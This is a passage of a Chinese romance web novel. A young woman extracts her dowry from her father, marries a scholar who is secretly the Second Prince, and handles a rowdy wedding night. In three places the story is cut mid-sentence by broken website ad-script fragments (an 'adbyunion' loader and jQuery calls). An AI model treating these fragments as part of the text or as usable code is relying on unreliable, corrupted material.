后来，不知许淳如何与韦淑慧商量的，听说韦淑慧气得砸了好几副心爱的碗碟杯盏。 但第三日，阿娘嫁妆单子里，留在许家的东西，总算凑齐了，摆在许菱玉眼前。 好些都有使用过的痕迹。 不过韦淑慧气病了，许菱玉没赶尽杀绝，而是睁只眼闭只眼，当着许淳的面，把誊抄的嫁妆单子撕了。 “还是亲爹知道疼女儿，不会克扣女儿应得的嫁妆。”许菱玉先哄了许淳一句，继而话锋一转，“不过，那些都是娘给我的，爹爹您这一份呢？” 许淳为了她嫁妆的事，与韦淑慧起了几番争执，已好几宿没睡好，头昏脑涨。 一时没听懂，他抬起布着红血丝的眼，疑惑问：“什么？” 许菱玉立在书案侧，拿剪刀利落地剪断一截烛芯，烛花跳跃一下，更亮一分的烛光映照着她灵慧的眼，和剪刀锋利的寒刃。 她似乎忘了放下剪刀，就这么握在手里，刀锋合拢，尖端朝着许淳的方向。 “当年阿娘走了以后，爹仍坚决为玉儿改姓，如今到了爹遵照为父的本分，为女儿出一份嫁妆的时候，爹怎么就开始装听不懂了呢？”许菱玉握着剪刀，盯着面色发白的许淳，“要不爹去问问我阿娘？若她说不需要爹再额外出一份，玉儿就不要了。” 听到这里，许淳脸色几乎全然失去血色。 他略显臃肿的身形微微发抖，往后仰去，脊背紧贴椅背，挤得脊梁骨发疼。 看看许菱玉手中泛着寒光的剪刀尖，许淳甚至不确定，她说的去问孟茴，是去孟茴灵位前问，还是去天上问。 “给，爹给。”许淳胡须哆哆嗦嗦，声音有些变调。 许菱玉收起剪刀，笑靥如花，看起来娇俏无害：“爹爹怕什么呢，难道女儿还能弑父？不会的，阿娘又不是爹害死的。” 11. 成亲 许家家底并不丰厚，许淳拿出小一半的家产，为许菱玉又添一份嫁妆，几乎是要了韦淑慧的命。 到出嫁这一日，爆竹阵阵，喜乐盈门，宾客们纷纷展颜道贺。 许淳尚且能端出慈父姿态，韦淑慧却面白如纸，眼神怨毒。 许成琢默默背起许菱玉，小心迈出门槛，朝门外花轿走去。 “阿姐，母亲一时想不通，过几日就消气了，你别放在心上，也别记恨她。”许成琢走得慢，步伐还算稳当，怕被韦氏听见，只敢小声说和。 娘想多留些财物也是为了他，他怎能去伤阿娘的心？ 他说了什么，许菱玉根本没听清，心不在焉嗯了一声。 视线被喜帕遮挡，她只能看到迎亲队伍前，妆系红绸的骏马马腹侧男子曲起的长腿。 看不到他身着大红喜服的模样，也不知他此刻视线落在何处，在想什么。 贾秀才生得俊，穿上喜服定然也好看。 不过，许菱玉最好奇的，还是他那样有几分清傲的人，是怎么肯乖乖穿上喜服来迎亲的？ 难道被她虚构一桩婚约，骗到手，他就这样认命了？ 话本子里，纨绔恶少强娶的小姐，几乎无一例外会逃婚。 这贾秀才倒是没逃。 许菱玉悄然弯唇，听话才好呢，往后省却许多麻烦。 躬身坐进轿子里，许菱玉皙白的双手交叠在大红裙面上，竟也真切地感受到几许喜气。 沐着吉庆的喜乐声，许成琢周身血性兀然活跃起来，隔着尚未放下的轿帘叮嘱：“若那贾秀才敢欺负阿姐，阿姐就派个人来告诉我，我带人去教训他。” 许菱玉端坐喜轿，隔着喜帕，似笑非笑应：“你觉得我像是会被人欺负的样子？” 还真不像。 许成琢被问住了，窘迫地摸摸后脖颈，支支吾吾说不出合适的话。 从小到大一直是他被阿姐揍，整个许家，他最怕的不是爹爹，而是阿姐。 阿娘还说昧下的嫁妆都给他以后娶媳妇用，借他两个胆子，他也不敢跟阿姐抢东西啊！ 许成琢讪讪走开，与韦淑慧擦肩而过，微微错愕。 起轿前，韦淑慧狠狠压着花轿前的红木，状似慈母依依不舍，殷殷叮嘱女儿什么。 实际上，韦淑慧压低声音道：“许菱玉，你这小贱骨头，几乎带走许家的一切，什么都不肯给成琢留，你怎么这么狠的心？今日你出嫁，做母亲的没什么可送的，就祝你和你那短命的娘一样，夫妻离心，不得好死。” “啪。”一道响亮的耳光让现场骤然陷入诡异的寂静。 甚至，连韦淑慧都没看到，许菱玉是怎么把手伸出轿帘打的她。 韦淑慧被打蒙了，半晌没反应过来。 直到大红绣百喜图的轿帘内，传来女子柔婉的嗓音：“起轿。” 她韦淑慧在清江县也算有头有脸的人，许菱玉竟然当着宾客的面打她的脸，若就这么算了，让她以后怎么见人？！ 韦淑慧肺腑都快气炸了，伸手就要去抓轿子里的人。 可她手还没碰到轿帘，便被许成琢及时抱住，一面往后拖，还一面催促轿夫：“快走，快走。” 寂静的许家门口，喜乐重新奏起来，宾客们鼓掌、欢呼、道喜，仿佛方才什么也没发生过。 韦淑慧本就是拖着病体坚持到现在，看着花轿走远，报仇无望，脸面丢尽，她再撑不下去。 捂着脸，跑回府去。 等许淳安置好宾客，进来看她，韦淑慧挤出眼泪，张嘴欲诉苦，却听到许淳说出和许成琢同样的话：“你是不是说了什么不该说的话？大喜的日子，你说你惹她干什么？” “你的好女儿打了我，还是我的错了？！”韦淑慧声调尖利，睁大眼睛，满脸怒容瞪着许淳，“许淳，那臭丫头的婚事，我样样依了你，你还好意思来怪我，你到底有没有良心！” 大喜的日子，许淳难免触景生情，想起他自己年轻的时候。 当年，他与孟茴的婚事，皆是孟家老爷子出的银钱，办得也是热闹风光。 及至娶韦淑慧，他正因孟茴的死脱了一层皮，勉强保住官职，婚事办得仓促草率。 韦淑慧容貌尚算秀丽，远不及孟茴，可那时候，她温柔解语，处处体贴，他心里舒坦，渐渐便很少再想起孟茴。 而现在呢？ 许淳盯着一脸病容，下垂的嘴角狠狠压着怒气的韦淑慧，惊觉对方面目可憎。 若眼前的人是孟茴，哪怕人到中年，也应美若春花秋月。 难得，在女儿成亲这一日，他竟想念起孟茴，甚至涌起几分遗憾。 他脑海中的孟茴已有些模糊，却还是双十年华，最美好的姿容，再看眼前容颜渐老的韦淑慧，更觉粗鄙不堪。 “淑慧，你怎么变成了今天这副模样？简直不可理喻！”许淳说完，拂袖转身，快步走入沉沉夜色。 再说许菱玉，乘坐喜轿来到桂花巷时，时辰尚早。 因贾秀才无父无母，亦无其他亲眷，便省去许多繁文缛节。 前来贺喜的宾客，除了舅舅一家，便是包大娘等左邻右舍，还有几位古道热肠的商贾朋友。 其中多数人，贾秀才并不认识，许菱玉便没拘泥，率性抬手，将红绸绣制的喜帕掀至发顶，准备引着他招呼宾客。 喜帕掀起的一瞬，许菱玉眼皮漫不经心抬起，目光自然地从他一丝不苟窄束的腰间，一路往上掠过，直至他墨描玉镌的眉峰下，那双漆亮的眼。 许菱玉眸光定住，蓦然想起哪本话本里描写的最上等的墨翠。 他的眼睛，比她见过最好的墨翠还好看。 大抵只有话本里那些精妙的言辞，才能准确形容。 色泽如墨翠的瞳仁，配上他的眼型，许菱玉心口似被什么轻轻抓了一下，感受到一种难以言喻的吸引力。 她素来相信自己的眼光，她挑中的夫君，自然不差。 只是，望着眼前穿着合身的艳色喜服的贾秀才，许菱玉仍忍不住在心内暗自得意。 她眼光，真是太太太好了！ “阿玉。”舅舅孟近墨唤她，眉心拧出深壑。 没等舅舅开口训话，许菱玉先行侧身，后退一步，与贾秀才并肩而立，温声提点：“秀才，这是舅舅。” 顾清嘉收敛心神，从善如流，微微折腰向孟舅舅施礼：“卿固拜见舅舅。” 舅妈江娴站在孟舅舅身侧，偷偷拧了一下他手臂后侧，示意他说些什么。 孟舅舅眉心拧得更紧。 大喜的日子，论理他不该说什么让许菱玉下不来台的话，可这孩子太不懂 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得尊敬长辈，若不教训她几句，怎么能压住她的傲气，让她安生做别人媳妇？ “阿玉，上次……” “上次舅舅、舅妈亲自挑选的添妆礼，玉儿很喜欢，你们对玉儿真好。”许菱玉状若无意打断舅舅的话。 舅妈眼睛微肿，眼皮下的乌青，拿厚厚的脂粉也没完全遮掩住，许菱玉一见便知她不会老老实实的。 果然，捕捉到她的小动作。 是以，舅舅一开口，许菱玉便心知肚明，舅舅是要为舅妈打抱不平。 江娴几番梦到孟茴掐她脖子，好几宿没睡好，恨不得给许菱玉扎小人，哪会真心实意去挑选什么添妆礼？ 那添妆礼是孟千里和他爹一起选的，江娴当甩手掌柜，眼不见为净。 听到许菱玉特意当着众宾客的面提起，陡然觉得面上生光，对许菱玉的气不由消减了些。 “舅妈眼睛怎么有些肿？是不是玉儿要嫁人，您心疼玉儿，没睡好？”许菱玉侧首交待金钿，“记得给舅妈备一碗安神茶。” “谁说不是呢，还是阿玉会体贴人。”江娴不好再发难，连日来的不忿，只能打落牙齿和血吞，还得咬着牙，应景恭贺，“卿固好福气，可一定要待我们阿玉好，否则我和她舅舅都不能轻饶你。” 贾卿固瞥一眼妆容艳丽的许菱玉，只道：“不敢。” 众人说说笑笑，一一见过，宴席便进行了大半。 顾清嘉正被孟舅舅他们拉着说话，忽而听到不远处许菱玉的声音：“都准备好了？” 他手持酒盏，状似不经意侧眸，眼睁睁看着许菱玉和她的丫鬟金钿一前一后走出院门。 “你跟出去瞧瞧。”顾清嘉抽空暗自吩咐长缨。 长缨在人前很是伶俐，笑着招呼宾客，斟酒、传菜，借着打酒的空档，偷溜出来。 听到巷口有动静，似乎围着不少人，他疑惑地循声过去。 走到巷口，看到许菱玉的一瞬间，被眼前的景象惊呆了。 “少奶奶。”长缨唤。 许菱玉一时没反应过来是在叫她，拿起一块刚切好的，肥瘦相间的猪肉，递给排队登记的街坊百姓。 金钿拿胳膊肘抵了抵她，许菱玉才茫然朝巷口望。 见是长缨，她眼睛一亮：“长缨，快来帮忙！” 长缨看着头戴凤冠，身穿红衣，将喜帕随手搁在一旁，立在肉架侧的许菱玉，瞠目结舌。 他们家少奶奶，大喜之日，在巷子口给百姓发猪肉啊？ 再想想，他家公子是怎么被少奶奶弄到手的。 长缨很快缓过来，似乎怎么匪夷所思的事，发生在少奶奶身上，都是合情合理。 长缨出去，足有小半个时辰没回来。 顾清嘉纳闷，有心自己出去探探许菱玉的去向，可他被宾客缠着，没能脱身。 院门外传来脚步声，他下意识侧身望去，呼吸一窒。 他的新娘子许菱玉，红衣袖口挽起寸许，头上不仅喜帕没了，连凤冠也不知何时摘掉，一头墨发如云似雾披散肩侧。 也不知做什么去了，雪腻的双颊微微泛红，额角、鼻尖香汗点点，美得惊心动魄，活色生香，乱七八糟。 顾清嘉捏着酒盏的长指略收紧，眼皮跳了跳。 幸好，这不是他真正要娶的正妃。 12. 纵容 酒阑日暮，多数宾客已停箸，闲闲坐在席位上叙话。 还有少数举杯对饮，谈笑风生。 没人注意到许菱玉何时出去过，可她这副模样从外头回来，乍然吸引了不少人的目光。 “阿玉，你一个新娘子，不好好在喜房里待着，出去乱跑什么？”舅舅孟近墨重重放下酒盏，拧眉盯着她，脑门青筋直蹦，“成何体统！” 平日里没见多关心她，训她的时候，舅舅长辈的架子总摆的十足。 虽说想让她嫁回孟家，谋算她和阿娘的嫁妆，都是舅妈在前面动嘴、出力，可许菱玉心里清楚得很，她的好舅舅可一点都不无辜。 比起明着算计的舅妈，许菱玉心里更看不起舅舅这样的伪君子。 毕竟是她大喜的日子，许菱玉面上未露不屑，语气也不顶撞，而是大大方方温声应：“舅舅误会了，玉儿没有出去乱跑，而是出去收贺礼的。” “舅舅若不信，瞧金钿手里拿的是什么？”许菱玉说着，眸光流转，面含喜色，瞥一眼金钿提在手中的竹篮。 顾清嘉的目光已然落在那篮子上，众宾客也好奇地凑上前来看。 篮子是寻常细竹篾编制而成，家家都有，并不起眼。 惹人注意的是，里头横七竖八，堆得冒尖的红丝带，大红丝带上能清晰辨出黑色字迹。 金钿取出一条，将上头“百年好合”的吉祥话，呈在众人眼前。 笑着替小姐解释：“我家小姐自小没娘，多得街坊百姓照拂，想着借今日大喜，散散喜气，回报一二。可院子太小，没法儿把人都请来，便在巷子外设案，分了两头猪肉给街上来往的乡亲。乡亲们热情，说了好些祝福的话回赠，心意都在这里头了。” 金钿将竹篮提高几寸，好让大家看清楚些。 闻言，顾清嘉终于弄清来龙去脉，知道许菱玉为何一副受了累，却一脸欢喜的模样。 众人声声夸赞着许菱玉，顾清嘉唇瓣微动，未语，目光从数不清的红丝带上移开，再度落在许菱玉细细描画过的眉眼。 她发丝微乱，几根细软的发卷曲着贴在颊边、颈侧，仍是乱七八糟的情态，却有种说不出的生动鲜活。 蓦地，顾清嘉脑中浮现出衙门外，墙根下那丛生命力旺盛的春草。 不，她许菱玉不是不起眼的春草，而是自由生长的山花。 众人夸赞的声音此起彼伏，孟舅舅脸上越发挂不住。 “阿玉长大了，进退有度，舅舅很放心，你这里还有许多事要忙呢，舅舅改日再来看你。”孟近墨说完，举步便要离开。 江娴赶忙跟上，孟千里略垂首，也作势跟上。 许菱玉嫣然含笑：“舅舅别着急走啊，玉儿给您也留了一份，算作回礼。” 她话音刚落，长缨便从善如流从木桶中提起一条猪肉，上前一步，递向孟近墨。 孟近墨呆滞，孟千里伸手接过，道了谢。 “阿奶，阿奶，虎子也想吃肉。”虎子拉着包大娘，嗓音稚嫩，逗得大家连连失笑。 许菱玉躬身，想捏捏虎子和大丫的小脸蛋，可她伸出手，才想起手还没细细洗过，又自然收回，笑哄：“小馋嘴，给你们留着呢。” 随即站直身形，笑对众宾客：“今日来的皆是贵客好友，谢礼人人有份，只管找长缨领。小小心意，切莫嫌弃。” 清江县不是顶富裕的大县，遇上丰年，寻常百姓一日才能吃上两餐饱饭，肉荤更是逢年过节才舍得吃。 像孟家那样的，即便吃得起，也会节俭些，不会日日见荤腥。 似包大娘一家，上有老下有小，进项不多的，更不消说。 是以，许菱玉送的答谢礼，虽不算贵重，却是人人会喜欢的实惠东西。 一位穿绛色绸衫的客人朗声道：“好！许小姐果然大方爽快。” 他左右顾视，提议：“我们大家伙儿也不能白得许小姐的东西，不如也和外头的乡亲一样，给许小姐留几个字，恭祝许小姐与秀才郎喜结连理，白首同心！” “小丫头，去备些笔墨来。”有人附和，冲着金钿吩咐。 又有人笑道：“这位仁兄说得在理，只那称呼咱们得改改，往后该叫一声许娘子才是。” 芹姨在灶房里，停下手里的活儿，隔窗望见院中宾主尽欢的热闹喜气，眼睛不由湿润，视线渐渐模糊。 那么点儿大的小姑娘，不知不觉长大，就这么稀里糊涂嫁人了。 不过，阿玉是个心里有成算的，定能过得好，她该高兴才对。 小姐在天上看到，也会高兴的。 芹姨抬起袖口，悄然抹了抹泪，咧咧嘴，将面上伤感之色迅速藏起，出门帮着收拾席面去。 半个时辰后，包大娘帮着收拾好院中桌椅，揣着许菱玉执意塞给她的二十两谢媒礼，扶着门框，走出院门。 长缨、金钿跟在她身后，一个搬桌子，一个搬凳子，将从她家临时借的物件送还。 小院安静下来，耳畔只余细细风声，以及芹姨在灶房添柴烧水的声响。 许菱玉立在玉兰花树下，收回视线，躬身去取脚边竹篮里的红丝带。 刚碰到一根，却被另一只骨节修长的手先行取走。 许菱玉抬眸，终于注意到她身旁的贾秀才。 也是这个时候，才后知后觉想起，这场婚宴过后，留下的，除了一篮子沉甸甸的祝福，还有一位新郎官。 他似乎饮了不少酒，身上散发着往日没有的醇郁酒气，夜色里，一双眼睛显得更为深邃，脸色未红。 “许小姐很喜欢这些礼物？”顾清嘉站直身形，瞥一眼红丝带上的“玉烛调和”四字，轻问。 听到熟悉的称呼，许菱玉感受到他对这婚事一如既往的抗拒，心里反而莫名踏实。 脾气好，还是守礼的本分人。 她忍不住笑着反问：“还叫我许小姐？秀才，叫声娘子听听。” 知道他叫不出来，才格外想逗他。 其实，若让她唤他夫君，或是相公，她也一样叫不出口。 显然贾秀才这老实人，没注意到她的称呼也不合适，面色微僵，显出几分紧张，迟疑地挤出两个字：“阿玉。” “呵呵。”许菱玉轻笑出声。 一把扯走顾清嘉手中的红丝带，许菱玉侧身朝向玉兰花树时，不禁低嗔一句：“呆子。” 呆子？说的是他？ 顾清嘉望着正往树枝上系红丝带的姑娘，清晰捕捉到其眼尾眉梢的笑意，他眼底闪过一丝“暂且叫你小人得志”的纵容。 随即，他俯身重新拿起一条丝带，走到许菱玉身侧，将之系到更高一些的树枝上。 玉兰花已凋零大半，枝条上绿叶多过花蕾。 顾清嘉想起太傅讲过的，皇祖父在位时的旧事。 皇祖父即位之初提拔过一位新贵，姓何，后来官至二品，结党营私，贪墨无数。 人都道皇祖父即位后，闭目塞听，不及早年明睿。 哪知，皇祖父晚年，突然着御史台列出何大人二十余宗罪状，抄家灭族，数千万两的金银器物，悉归国库。 内遇灾年，外有强敌之际，皇祖父雷厉风行放粮赈灾、犒赏军士，最终安然度过危机，赢得圣主美名。 先时养虎为祸朝纲，后又杀虎拯救万民，太傅未评其功过。 当时，顾清嘉曾暗暗告诫自己，切不可纵容任何一位奸佞壮大势力，为祸江山。 此刻望着小人得志的许菱玉，顾清嘉没想到，自己会动摇。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>罢了，她毕竟不是能搅乱朝堂的奸佞，唯一能搅乱的是他原先的计划，倒也无伤大雅。 念在她行事爽快的份儿上，且先让让她，由着她猖狂一阵子。 等他办完此间要事，回到京城，再慢慢治她的罪。 红丝带上的吉利话，有的是金钿写的，有的是识得字的乡亲自己写下。 其中不乏有字迹歪斜，甚至写错字的。 顾清嘉拿在手里，微微蹙眉。 许菱玉却不在意，径直接过去，踮起足尖往树枝上绑。 她头发已简单挽成松髻，鬓边簪着一根银质步摇，串着红珊瑚的流苏摇曳着，雪颊胜玉。 “字写错了，心意却是不会错的，何必在意。”许菱玉系好这一根，抬头望望，又侧首看看篮子里，“够不着了，得搭梯子才能。” 许菱玉自己是搬不动的，更舍不得劳动老胳膊老腿的芹姨，抬眸望着贾秀才：“秀才，你去搬来，梯子在后院杂物房，你的寝屋隔壁。” 顾清嘉微怔：“阿玉的意思是，今夜我睡后院厢房？” “怎么？莫非你更喜欢睡杂物房？”许菱玉故意曲解他的意思。 虽然她也知道，没她允许，这呆子不敢冒犯她。 “我，我都听阿玉的。”顾清嘉装作被吓着的模样，狼狈地转过身，快步朝后院走去。 像是生怕许菱玉又改主意，真让他睡杂物房。 许菱玉望着他高大的背影，窃窃忍笑，哪里瞧见顾清嘉转过身去之后的神情？ 长缨和金钿回来时，一眼便瞧见顾清嘉单手抓着长木梯，朝玉兰树下走。 金钿还好，只暗暗感叹新姑爷还算勤快。 长缨却是不知受了什么刺激，一个箭步蹦到顾清嘉面前，伸手便去接顾清嘉手里的梯子：“公子，您怎么能干这样的粗活？快放下，让长缨来。” 顾清嘉避开，没让他抢到手。 对此，许菱玉很满意。 “长缨啊，不是我说你，你叫他一声公子，但也须知道，秀才他不是什么贵公子啊，家里就这几个人，谁不干活？哪里容他养尊处优？”许菱玉指指树干一侧，顾清嘉乖乖把长梯靠着她指定的位置放好。 许菱玉仰面笑赞：“秀才，平日里倒没看出来，你一个捏笔杆子的书生，还有把子力气，比那些除了读书，百无一用的文弱书生，强太多了。” 往后家里的粗活、重活，都不必使银子去外头请人干了。 “阿玉谬赞，我也只能帮阿玉做这等小事罢了。”顾清嘉姿态谦逊。 长缨看看许菱玉，再看看自家主子，一脸茫然，主子葫芦里到底卖的什么药？ “我，我就是怕活儿都让公子干了，显得我没用，公子赶我走怎么办？”长缨绞尽脑汁，为自己方才的失态找补。 “没事，我看你干活还算勤快伶俐，秀才赶你走，我雇你，也是一样。”许菱玉边忙活，边打趣。 顾清嘉爬上梯子，接过许菱玉递来的红丝带，淡淡吩咐：“愣着做什么？去看看芹姨那边需不需要添柴。” 长缨闻言，立马去墙根下抱起劈好的木柴，进了灶房。 而金钿呢，看看配合很好的一双红衣背影，抿唇一笑，提起水桶打水去。 “为何会想把这些都系到树上？”顾清嘉来清江县时日尚短，倒没听说有这样的新婚习俗。 许菱玉抬手，又递一根丝带给他。 丝带柔软，她嗓音也比平日里柔软：“想让我娘看到这些，知道我过得好。” 许菱玉说着，柔荑不由自主触碰到树干，她掌心贴着粗糙的树皮，轻道：“这棵玉兰树，是我阿娘生前栽种的。” 顾清嘉默然，往树枝上系丝带时，眼神里却多了一丝虔诚与郑重。 13. 陪你 夜风醺然，残月疏星闲照庭院。 玉兰花树本已绿浓花瘦，这会子却被无数飘曳的红丝带，妆点出一派秾艳喜气。 许菱玉抬起手，指尖触碰到低处的丝带。 丝带轻柔曳过她指腹，微痒。 许菱玉唇畔勾着心满意足的浅笑，美目转向贾秀才：“秀才，谢谢你。” 谢谢他脾气好，乖乖配合。 谢谢他当了这场亲事里一件好看的摆设，让她如愿离开许家。 “记得把梯子搬回杂物房，今日辛苦，待会儿我让长缨打些热水去，好生洗漱一番，解解乏。”许菱玉从贾秀才身旁走过时，随口道。 宿在后院厢房，他和长缨夜里有事出去，倒是更方便，顾清嘉默然接受。 他长指一勾，握住木梯两侧，刚要抬起，忽而听见院外巷子里传来一阵杂乱的脚步声，还夹杂着男子的哭喊声。 “阿玉，阿玉。”一声一声，失魂落魄。 声音听起来，有些耳熟。 顾清嘉凝神细思，听见许菱玉低低埋怨：“这个高澍，真会给本小姐找事。” 随即，便见许菱玉捉裙小跑着，打开院门。 顾清嘉松开木梯，迈开长腿，不紧不慢跟在她身后出去。 今日在许家的宾客里，顾清嘉见过高澍。 那人生得结实，人高马大，若是前两年在他麾下，想必是能冲锋陷阵的猛将。 只是，今日高澍在许家，喝得半醉，一双红眼睛死死盯着他，分明当他是势不两立的情敌。 像只被人抢去肉骨头的大犬，随时准备来咬断他脖子。 此刻，高澍抓着酒囊，踉踉跄跄朝他们走过来，身后跟着四五个青壮，要扶他，登时被他甩开，谁也近不得身。 “高澍，闭嘴，你给我进来！”许菱玉快步上前。 纤细柔荑紧紧揪住高澍衣领，感受到他襟前酒渍，一脸嫌弃。 到底没松手，揪着他，把人往院门里扯。 高澍虽喝得酩酊大醉，却还知道生气的许菱玉不能惹。 许菱玉让他闭嘴，他反应一下，听懂了，立马闭上嘴，再激动也忍住。 少女身着红衣，抓着醉酒的高大外男，这样的情景，让顾清嘉心里很不舒服。 即便这荒谬的婚事是许菱玉不折手段而来，即便许菱玉强行嫁他，只是为了避开皇子妃择选，可今日毕竟是他们大喜之日。 在外人眼中，她已然是他的娘子。 明知是洞房花烛夜，高澍偏来闹事，还与他的娘子纠缠，他这个做夫君的若能容忍，颜面何存？ “娘子，别脏了手，我来。”顾清嘉身体反应快过脑子。 待他话音落下时，已然握住许菱玉手腕。 掌心隔着她袖口绣金凤的喜服襕边，长指包裹住她细腕，拇指、食指的指尖在她手腕内侧交叠，扣在她腕内的指腹不期然压触到她肌肤。 细滑匀腻，柔软温热，令他掌心莫名发烫。 顾清嘉状似从容，将许菱玉的手从高澍襟前移开。 松开时，从指尖到掌心细细膨胀着蚁噬般的酥麻。 高澍瞪大眼睛，盯着他的手，仿佛他干了什么放肆的，不能容忍的事。 “小白脸，你敢碰她？你竟敢碰她！”高澍暴怒，头发几乎要竖起来。 顾清嘉伸手去抓他手臂，高澍大力挥臂抵挡，却是技不如人，被顾清嘉重重钳制住手臂，径直往院里扯。 “诶？疼，疼，你这蛮夷。”高澍疼得直吆喝，酒也清醒几分。 他深深怀疑，若执意甩开顾清嘉的钳制，定会以他脱臼收场。 许菱玉跟进门，盯着贾秀才的手，眼睛一眨不眨，满是惊喜，语气像是捡到宝：“秀才，你行啊，力气竟然比高澍还大，他可是衙门里力气最大的一个。” 她只顾着让高澍闭嘴，别继续丢人现眼，并未留意到顾清嘉的称呼变化。 “你的夫君，不是百无一用的弱书生。”顾清嘉弯了弯唇。 笑意极清浅，可许菱玉瞧得出，他因这夸赞而愉悦。 啧，原来书呆子喜欢被人夸呀。 高澍喝多酒，胃里正不舒服，听到许菱玉的话，只觉心里更难受了。 “阿玉，我们从小一块儿长大，青梅竹马，你就顾着夸他，不管我的死活，你没良心。”高澍带着哭腔控诉。 顾清嘉见他说哭就要哭出来的样子，不动声色松开手。 别开脸时，眼中毫不掩饰嫌弃。 两年前，他麾下也没有这样没出息的种。 “就该把你丢巷子里。”许菱玉哭笑不得轻斥。 随即，朝着灶房唤：“金钿，煮碗醒酒汤来。” 许菱玉掩袖打了个哈欠，懒得理高澍这醉鬼，把他丢给贾秀才。 她面朝堂屋站着，廊下灯笼光倒映翦瞳中，水光点点，倦色堪怜。 “秀才，你力气大，制得住他，待会儿给他灌下醒酒汤，就让他睡你屋。”瞧见贾秀才俊眉蹙起，许菱玉念在他今日表现不错的份儿上，心一软，又补上一句，“要不把他丢长缨屋去也成。” 听她这么一说，贾秀才的俊眉果然舒展了些。 “阿玉，你不让他睡你屋啊？太好了，我就知道阿玉你嫁他另有隐情，你都没看上我，怎么会看上他这样的小白脸？！”高澍破涕为笑，手里酒囊也不要了，一掌拍在顾清嘉肩头，“兄弟，别难过，今夜我就跟你一屋，咱们化干戈为玉帛，一醉方休。” 他平日里脑子便不算灵光，这会子更傻气。 许菱玉没眼看，索性不管，回屋洗漱去。 后院里，高澍被灌了醒酒汤，跑茅房去吐了两回，话终于少了，在原本给顾清嘉的厢房里，睡得不省人事。 “公子，要不属下还是把高澍背到我屋去吧？”长缨听着高澍响亮的，酒气浓郁的呼噜声，沉声提议。 主子素来是有些洁癖的，从前在军中的时候，条件艰苦，将士们时常席地睡一张大通铺，主子却从没有过。 或是单独扎一营帐，或是抱剑抵树而眠。 让主子与烂醉的高澍待在一屋，少奶奶敢说，长缨哪敢真让主子受这罪？ “不必。”顾清嘉走出散着淡淡木质霉味的落地屏风，低声吩咐，“我的那两只箱笼，不必打开了，送到正房廊下，我待会儿过去。” “主子？”长缨疑惑又震惊，“主子的意思是，您要搬到许小姐，啊不，少奶奶屋里去？这……” “你有异议？”顾清嘉斜乜他一眼，目光淡淡，威慑力十足。 长缨头皮发紧，连忙应：“属下不敢！” 继而不敢再耽搁，转身便去搬箱笼。 屋内安静下来，高澍的鼾声便显得更响。 顾清嘉重新回到屋内，将烛台拿近些，居高临下审视高澍，眼神从淡漠转为不屑。 此人着实配不上许菱玉，难怪许菱玉为了躲避择选，要舍近求远，费尽心思嫁给他，也不愿嫁给高澍。 许菱玉那小老虎，伶牙俐齿，胡搅蛮缠，眼光却是不差的。 烛光幽然跳跃，映亮顾清嘉眉眼，他眉峰微挑，耸起他自己也不曾察觉的得色。 不多时，长缨从前院回来。 顾清嘉淡淡吩咐：“夜里警醒些，别让他醉死在这里。” “属下遵命。”长缨躬身抱拳。 顾清嘉举步欲出门。 长缨神情变幻，面露难色，终于咬咬牙开口：“公子，长缨还有一事，不知当不当讲。” “说。”顾清嘉驻足侧眸。 主子的心思比海深，长缨不敢妄加揣测，可主子既主动提出去许小姐屋里，至少说明，主子并不讨厌许小姐，且愿意许小姐靠近。 前者寻常，后者却让足以让人震惊。 琅琊王氏之女，崔相之女，已故魏将军之女，还有好些其他京中贵女，多少名门闺秀想博主子回眸一顾，而不可得。 加上主子暴戾的名声，都道主子是铁石心肠。 长缨以为，他永远看不到二皇子府会有女主子。 没想到，许小姐歪打正着，似乎入了主子的眼。 但也许主子是为了回敬许小姐的手段，也未可知。 长缨 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 猜不到，可他喜欢这小院的自在气儿，不忍它的平静被打破。 再想到许小姐给百姓赠肉，笑着收集红丝带的情景，更是心生恻隐。 同情怜悯，这样的情绪，是不该存在他身上的。 长缨自知有罪，垂首跪地禀：“主子，许小姐看似张扬，实则心善，以属下愚见，并不比京中贵女差，做真正的二皇子妃也使得。属下自知僭越，大逆不道，可还是想恳请主子看在属下忠心耿耿的份上，莫要伤害许小姐。” 屋内陷入寂静，连里间高澍的鼾声似乎也轻了些。 顾清嘉盯着长缨发顶，盯得长缨脊背汗涔涔。 良久，顾清嘉不喜不怒，轻问：“许娘子多少银两收买你的？” “属下万死也不敢背主。”长缨猛地以额顿地，发出重重闷声。 顾清嘉轻笑一声，语气松快了些：“起吧。” 他没说应还是不应，大步流星离去。 长缨望着他背影，直到他走远，才长舒一口气，摸一把额角的汗，站起身。 殊不知，里间“鼾声阵阵”的高澍，脑仁也起了一层汗。 吓的。 二皇子不是在京城等着选皇子妃吗？怎么会出现在他们小小的清江县？ 他确定县衙里无人知晓，连他爹都不知道。 那他爹背后的人呢，又知不知道？ 高澍第一反应，二皇子是冲着药材失窃案来的。 可他暗暗蛰伏着，不动声色，还莫名其妙成了阿玉的夫君！ 阿玉有危险！ 他想去救阿玉，可长缨守在屏风外，他根本不敢动。 只要让长缨发现他人醒着，别说救阿玉，他和他爹，还有这院子里的所有人都要完蛋。 他闭着眼，满心焦灼绝望。 前院，许菱玉在盥室浴桶中，泡了足足半个时辰，骨头都要软了。 手臂的酸胀感，减轻大半。 身上再无一丝油腥气，而是香胰子留下的雅香。 金钿帮她擦干身子，穿上合欢红绣芍药肚兜，外头罩一件长及脚踝的素色细绫寝衣，衣带松松系在腰侧。 许菱玉接过棉巾，侧首包住长发，冲金钿道：“忙了一日，你也累了，快去洗洗睡，剩下的我自己来。” 金钿知道自家小姐的性子，也不忸怩，捶了捶后腰：“多谢小姐体恤，我去看看芹姨，就睡了，小姐也早些安寝。” 许菱玉含笑颔首。 关上门扇，她一面拿棉巾擦拭头发，一面朝屋子里头走，经过窗前时，还特意朝院中望一眼。 月光正好，无数红丝带似无数的笑脸，无声祝贺她。 许菱玉浅笑着，绕过精美的喜上梅梢绣屏，脚步陡然一顿，笑意凝滞。 带着浓浓倦色，显得慵懒自在的笑眼，盈满惊诧。 “秀才？你怎么在这里？！” 少女稍稍歪着头，如缎的墨发拢在肩侧，被棉巾包裹住，秀颈显得优雅纤丽。 纤腰曼曼，被烛光镀上一重柔和辉光，美得如珠似玉。 顾清嘉端坐床柱侧，第一次认真端凝她容颜。 